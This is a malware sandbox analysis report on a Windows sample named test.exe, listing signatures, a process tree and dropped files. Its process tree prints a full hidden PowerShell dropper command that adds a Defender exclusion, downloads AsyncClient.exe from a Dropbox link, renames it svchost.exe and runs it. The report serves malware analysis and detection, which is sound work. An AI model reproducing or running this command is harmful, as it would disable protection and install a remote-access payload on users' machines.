Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/09/2026, 02:36
General
- Target test.exe
- Size 8.9MB
- Sample260908-c3kylayxew
- SHA256 b2ebfd0b6abc9f6e834d2d58dbe4f36fe2b9bb31e34983bc71a078ce56427e14
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.dropbox.com/scl/fi/ayudw1r6zakxxsga4oshc/AsyncClient.exe?rlkey=honqs1371pz8n1dnah4i2rkge&st=klqg7flg&dl=1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 8 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test.exe"C:\Users\Admin\AppData\Local\Temp\test.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\test.exe"C:\Users\Admin\AppData\Local\Temp\test.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath $env:TEMP; (New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/ayudw1r6zakxxsga4oshc/AsyncClient.exe?rlkey=honqs1371pz8n1dnah4i2rkge&st=klqg7flg&dl=1', '$env:TEMP\svchost.exe'); Start-Process -WindowStyle Hidden -FilePath '$env:TEMP\svchost.exe'""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath $env:TEMP; (New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/ayudw1r6zakxxsga4oshc/AsyncClient.exe?rlkey=honqs1371pz8n1dnah4i2rkge&st=klqg7flg&dl=1', '$env:TEMP\svchost.exe'); Start-Process -WindowStyle Hidden -FilePath '$env:TEMP\svchost.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
_zstd.pyd
base_library.zip
libffi-8.dll
python314.dll
ucrtbase.dll
memory/1220-80-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-84-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-75-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-76-0x000002633A570000-0x000002633A592000-memory.dmp
memory/1220-79-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-73-0x00007FF9D614F000-0x00007FF9D6150000-memory.dmp
memory/1220-81-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-82-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-83-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-74-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-85-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-88-0x0000026352930000-0x000002635294E000-memory.dmp
memory/1220-89-0x0000026352950000-0x0000026352A02000-memory.dmp
memory/1220-90-0x0000026352720000-0x000002635272A000-memory.dmp
memory/1220-91-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-92-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-93-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-94-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp
memory/1220-96-0x00007FF9D5FC0000-0x00007FF9D6964000-memory.dmp